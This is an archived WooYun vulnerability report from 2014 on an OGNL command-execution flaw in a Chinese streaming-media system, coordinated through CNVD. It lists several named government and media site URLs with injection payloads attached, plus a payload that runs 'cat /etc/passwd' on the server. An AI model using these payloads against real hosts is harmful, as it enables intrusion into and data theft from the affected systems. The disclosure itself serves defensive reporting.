当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-055803

漏洞标题：尚为视讯命令执行漏洞，涉及多个重要政府部门

相关厂商：尚为视讯流媒体系统

漏洞作者： 矿主

提交时间：2014-04-07 12:18

修复时间：2014-07-06 12:18

公开时间：2014-07-06 12:18

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-04-07： 细节已通知厂商并且等待厂商处理中
2014-04-12： 厂商已经确认，细节仅向厂商公开
2014-04-15： 细节向第三方安全合作伙伴开放
2014-06-06： 细节向核心白帽子及相关领域专家公开
2014-06-16： 细节向普通白帽子公开
2014-06-26： 细节向实习白帽子公开
2014-07-06： 细节向公众公开

简要描述：

涉及多个重要政府部门

详细说明：

收影响的地址：
首都之窗
http://video.beijing.gov.cn/play.jspa?redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%22test.%22%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}
国资委信息中心
http://vod.sasac.gov.cn/play.jspa?redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%22test.%22%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}
北京统计局
http://vedio.bjstats.gov.cn/vodlist.jspa?redirect:$%7B%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%22test.%22%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29%7D
中国华文教育网
http://live.hwjyw.com/courseview.jspa?redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%22test.%22%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}
中国文明网
http://search.wenming.cn/godpp/godSearch.jspa?redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%22test.%22%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}
中国海关杂志社
http://www.ccmag.cn/cusmMaganized!docMaganized.jspa?redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%22test.%22%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}
中国残联
http://search.cdpf.org.cn/mb/j/search/search.jspa?redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%22test.%22%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}
浙江电子口岸有限公司
http://www.zjport.gov.cn/ask/questionDetailt.jspa
中安网
http://vchat.anhuinews.com:8080/chat/findPlay.jspa?redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%22test.%22%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}


打印文本
redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%22test.%22%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}
查看passwd
?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
Getshell代码暂时保密。

漏洞证明：

本次测试没有进行任何操作，只测试了打印文本信息。

a.png

能够通过上次webshell可以完全控制服务器，删除篡改任意数据。本次没有进行进一步测试。

修复方案：

WAF过滤，升级系统。

版权声明：转载请注明来源 矿主@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-04-12 10:07

厂商回复：

CNVD确认并在多个实例上复现所述情况（不过对于某后缀的搜索页面是否属于该软件还需要进一步认定），由CNVD通过公开联系渠道向生产厂商通报，北京尚为视讯科技有限公司技术部 ，010- -818，处置。 同时，已经将北京市及地方的案例向北京市信息化主管部门和对应分中心通报。对于10－11日出现的其他案例，后续仍将跟进处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-03-04 01:29 | Mr Grey ( 路人 | Rank:0 漏洞数:3 | To be or not to be,that is a question.)

    求放出getshell ～～～